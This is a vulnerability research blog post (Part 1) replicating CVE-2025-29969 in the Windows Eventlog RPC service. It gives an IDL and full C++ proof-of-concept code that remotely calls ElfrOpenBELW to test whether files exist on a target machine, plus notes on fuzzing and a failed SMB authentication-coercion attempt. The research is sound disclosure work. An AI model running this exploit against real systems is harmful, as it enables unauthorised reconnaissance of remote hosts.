Post

CVE-2025-29969 (Part 1)

In this blog I will try to replicate CVE-2025-29969, one PoC for the file existence check, another one would be for the Arbitrary File Write that could lead to RCE/Lateral Movement in AD environments. And the problem I ran into while trying to develope the exploits. This is a bug within Eventlog Service in Microsoft Windows in remote procedure call (RPC) protocols, specifically MS-EVEN protocol, and this was heavily inspired by this blog.

Looking for attack surface

Thanks to RpcView, without this tool, the process of finding the attack surface would took a lot more time, and even with the RPC interfaces that we don’t have the pdb file for the server binary, the decompile feature and address of the specific procedure is so powerful which can aid us in the reversing part. Now we can just click around, and looking at this screenshot, we can point out several things from it.

  • The process 1708 expose a named pipe \pipe\eventlog and it is a service running as LOCAL_SERVICE
  • This endpoint allow remote connection via network since there is no “RPC_IF_ALLOW_LOCAL_ONLY” flag.
  • We can bind to 2 interfaces “82273fdc-e32a-18c3-3f78-827929dc23ea” and “f6beaff7-1e19-4fbb-9f8f-b89e2018337c”, their procedures are all implemented in “C:\Windows\System32\wevtsvc.dll”

alt text

alt text

At the time the original blog release, I was shock, as I also had check on these two interfaces before, but sadly I thought it was nothing special so I skip it, reading those procedures names could hint us a lot about what they does, lets take a look at the interface “82273fdc-e32a-18c3-3f78-827929dc23ea” and see what it exposed.

alt text

For me, since these functions can be reached via network, I usually looking for LPE if it was from local, or authentication coercion if it was remote. Some of them standout:

  • ElfrOpenELW, ElfrOpenBELW, ElfrReadELW (I only list the UNICODE one): “Open” and “Read” operation really suspicious for authentication coercion, just like PetitPotam or other techniques.
  • ElfrBackupELFW: “Backup” operation usually involve elevated privileges.

Before moving onto crafting those exploit, I want to mention this, as we can see those procedure names, with a quick search for the UUID or just by looking at the prefix elfr stands for “Event Log something something” so that it is some windows event protocol, specifically MS-EVEN for “82273fdc-e32a-18c3-3f78-827929dc23ea”, that’s how I remember/search when I saw them, “f6beaff7-1e19-4fbb-9f8f-b89e2018337c” will be MS-EVEN6.

In this blog, we will just care about the interface “82273fdc-e32a-18c3-3f78-827929dc23ea”.

alt text

Bind the interface

For the binding/connect part, you can read this amazing post from @itm4n, I learned a lot from his Windows posts. First, we need the idl file for the interface, as this already documented by Microsoft in here, we can straight up copy and use it, but there is a caveat. At the time I just started using it, there are crazy amount of errors and here are some of them:

  • Can not use the ms-dtyp.idl since it would cause a lot of “redefinition” (windows.h) and took a lot of time for those define guards -> Just only copy those structs we need for the procedure calls
  • In the Full IDL I mentioned above, the _RPC_STRING was for ANSI, I didn’t pay attention and it took so much time to realize lol, here is what we need.
  • Authentication level: We had a valid context, sufficent privileges, but it will be ACCESS_DENIED if we don’t set a specific authentication level which is RPC_C_AUTHN_LEVEL_PKT_PRIVACY since this is what the service expect (we can brute force this actually).
  • Opnum number: The RPC runtime uses the opnum as a numeric identifier to locate and execute the specific function a client requests. An incorrect opnum will call the wrong function, resulting in system errors, data corruption, or potential crashes (that’s why I fill the functions before our target function with empty functions).
  • Put a handle_t parameter as the first parameter for each functions.

So here is the minimal ms-even.idl to make it works:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
[
    uuid(82273FDC-E32A-18C3-3F78-827929DC23EA),
    version(0.0),
    pointer_default(unique)
]
interface eventlog
{
    typedef [context_handle] void* IELF_HANDLE;
    typedef struct _RPC_UNICODE_STRING
    {
        unsigned short Length;
        unsigned short MaximumLength;
        [size_is(MaximumLength / 2), length_is(Length / 2)] wchar_t* Buffer;
    } RPC_UNICODE_STRING, * PRPC_UNICODE_STRING;
    typedef [handle, unique] wchar_t* EVENTLOG_HANDLE_W;

    // opnum 0
    void Opnum0NotUsedOnWire(void);
    // opnum 1
    void Opnum1NotUsedOnWire(void);
    // opnum 2
    void Opnum2NotUsedOnWire(void);
    // opnum 3
    void Opnum3NotUsedOnWire(void);
    // opnum 4
    void Opnum4NotUsedOnWire(void);
    // opnum 5
    void Opnum5NotUsedOnWire(void);
    // opnum 6
    void Opnum6NotUsedOnWire(void);
    // opnum 7
    void Opnum7NotUsedOnWire(void);
    // opnum 8
    void Opnum8NotUsedOnWire(void);

    // opnum 9 — ElfrOpenBELW
    long ElfrOpenBELW(
        [in]         handle_t      binding,
        [in, unique] EVENTLOG_HANDLE_W UNCServerName,
        [in]         PRPC_UNICODE_STRING  BackupFileName,
        [in]         unsigned long MajorVersion,
        [in]         unsigned long MinorVersion,
        [out]        IELF_HANDLE * LogHandle
    );

    // opnum 10 — ElfrBackupELFW
    long ElfrBackupELFW(
        [in]         handle_t             binding,
        [in]         IELF_HANDLE          LogHandle,
        [in]         PRPC_UNICODE_STRING  BackupFileName
    );
}

Now we can compile it and it will give us ms_even_h.h (a header file) and ms_even_c.c (client source file), then add them to the solution.

alt text

At this point we can start crafting our binding handle and try to call some methods, and here is the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#define WIN32_LEAN_AND_MEAN
#define NOMINMAX
#include <windows.h>
#include "ms-even_h.h"
#include <rpc.h>
#include <rpcndr.h>
#include <cstdio>
#include <cstdlib>
#pragma comment(lib, "rpcrt4.lib")

RPC_BINDING_HANDLE Binding = nullptr;

int wmain(int argc, wchar_t* argv[])
{
    if (argc != 3)
    {
        wprintf(L"Usage: %ws <ip> <path>\n", argv[0]);
        wprintf(L"Example: %ws 192.168.1.10 C:\\Temp\\test.txt", argv[0]);
        return 1;
    }

    wchar_t* targetIP = argv[1];
    wchar_t* checkPath = argv[2];

    RPC_STATUS status;
    RPC_WSTR StringBinding;

    // Build: ncacn_np:\\<ip>[\pipe\eventlog]
    wchar_t networkAddr[256] = {};
    swprintf_s(networkAddr, L"\\\\%ws", targetIP);

    status = RpcStringBindingCompose(
        NULL,
        (RPC_WSTR)L"ncacn_np",
        (RPC_WSTR)networkAddr,
        (RPC_WSTR)L"\\pipe\\eventlog",
        NULL,
        &StringBinding
    );
    wprintf(L"[*] RpcStringBindingCompose: %d\n", status);
    wprintf(L"[*] String binding: %ws\n", StringBinding);

    status = RpcBindingFromStringBinding(StringBinding, &Binding);
    wprintf(L"[*] RpcBindingFromStringBinding: %d\n", status);

    status = RpcBindingSetAuthInfo(
        Binding,
        NULL,
        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
        RPC_C_AUTHN_WINNT,
        NULL,
        RPC_C_AUTHZ_NONE
    );
    wprintf(L"[*] RpcBindingSetAuthInfo: %d\n", status);

    RpcStringFree(&StringBinding);

    RpcTryExcept
    {
        IELF_HANDLE LogHandle = nullptr;

        _RPC_UNICODE_STRING FileStruct = {};
        FileStruct.Length = (unsigned short)(wcslen(checkPath) * sizeof(wchar_t));
        FileStruct.MaximumLength = FileStruct.Length + sizeof(wchar_t);
        FileStruct.Buffer = (wchar_t*)malloc(FileStruct.MaximumLength);
        if (!FileStruct.Buffer) return 1;
        memcpy(FileStruct.Buffer, checkPath, FileStruct.MaximumLength);

        long s = ElfrOpenBELW(
            Binding,
            nullptr,        // UNCServerName
            &FileStruct,
            1,
            1,
            &LogHandle
        );

        // Interpret result
        switch ((DWORD)s)
        {
        case 0x00000000:
            wprintf(L"[+] EXISTS (handle opened): %ws\n", checkPath);
            break;
        case 0xC0000034:
            wprintf(L"[-] NOT FOUND: %ws\n", checkPath);
            break;
        case 0xC000003A:
            wprintf(L"[-] PATH NOT FOUND (parent dir missing): %ws\n", checkPath);
            break;
        case 0xC0000022:
            wprintf(L"[-] ACCESS DENIED (exists but no read): %ws\n", checkPath);
            break;
        case 0xC0000033:
            wprintf(L"[-] INVALID PATH FORMAT: %ws\n", checkPath);
            break;
        case 0xC000018E:
            wprintf(L"[-] STATUS_EVENTLOG_FILE_CORRUPT: %ws\n", checkPath);
        default:
            wprintf(L"[?] Unknown status: 0x%08x\n", (DWORD)s);
            break;
        }

        free(FileStruct.Buffer);

        // Close the handle if we got one
        if (LogHandle != nullptr)
        {
            
        }
    }
        RpcExcept(EXCEPTION_EXECUTE_HANDLER)
    {
        wprintf(L"[!] RPC Exception: %d - 0x%08x\n", RpcExceptionCode(), RpcExceptionCode());
    }
    RpcEndExcept

        RpcBindingFree(&Binding);
    return 0;
}

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
    return malloc(cBytes);
}

void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
    free(p);
}

Fuzzing so that I do not have to reverse it

My goal is to fuzz the ElfrOpenBELW third argument, which is the BackupFileName to find if I can guess anything about it without reversing, and here are the different results (first argument is the server ip currently I’m testing for localhost, the second one is the BackupFileName).

First case: Procmon shows that the service will perform a CreateFile and I get 0xC0000034 code which mean STATUS_OBJECT_NAME_NOT_FOUND (we can check it here) since the file is not exist, this is interesting as now we know that it might try to open the file as LOCAL_SERVICE.

alt text

Second case: Now when I try to point to an actually exist binary, it will check if the file is an event log file and when the file is not what the format it expect, it will close it and return us with STATUS_EVENTLOG_FILE_CORRUPT, this indicate that for the next attempt we need to feed it an actual event log file (.evtx) .

alt text

Third attempt: This time I used a custom eventlog and the method return 0 which mean success, the service initially check the file header (128 bytes) and then it does ReadFile in 4 bytes at a time until the end of the file. (Event Log File Format)

alt text

Authentication Coercion ???

Fourth attempt: Checking if it is able to perform authentication coercion.

I will setup a quick SMB server using my kali vm and impacket.

alt text

Quick search for this status code give me STATUS_SMB_NO_SIGNING_ALGORITHM_OVERLAP so that it means we might need to temporarily turn off SMB SIGNING and the attack might requires it.

alt text

Try again and now I got STATUS_LOGON_FAILURE, which is weird, after a while digging into this, I found that, since it is a LOCAL SERVICE, when it tries to access your SMB share on a remote machine, it authenticates using that account. LOCAL SERVICE has no network credentials — it presents as anonymous/null session to remote machines, which gets rejected. This is different from NETWORK SERVICE or a machine account which do have network identity.

alt text

So the idea of auth coercion is not valid, and so stupid of me to think that LOCAL SERVICE authenticate as MACHINE account via NETWORK lol. But in the end I can understand about 80% of the function without reversing it so that might save us a quite amount of time, and don’t forget about how the service check the file if it was the real evtx since the next part I will discuss about the real vulnerability.

This post is licensed under CC BY 4.0 by the author.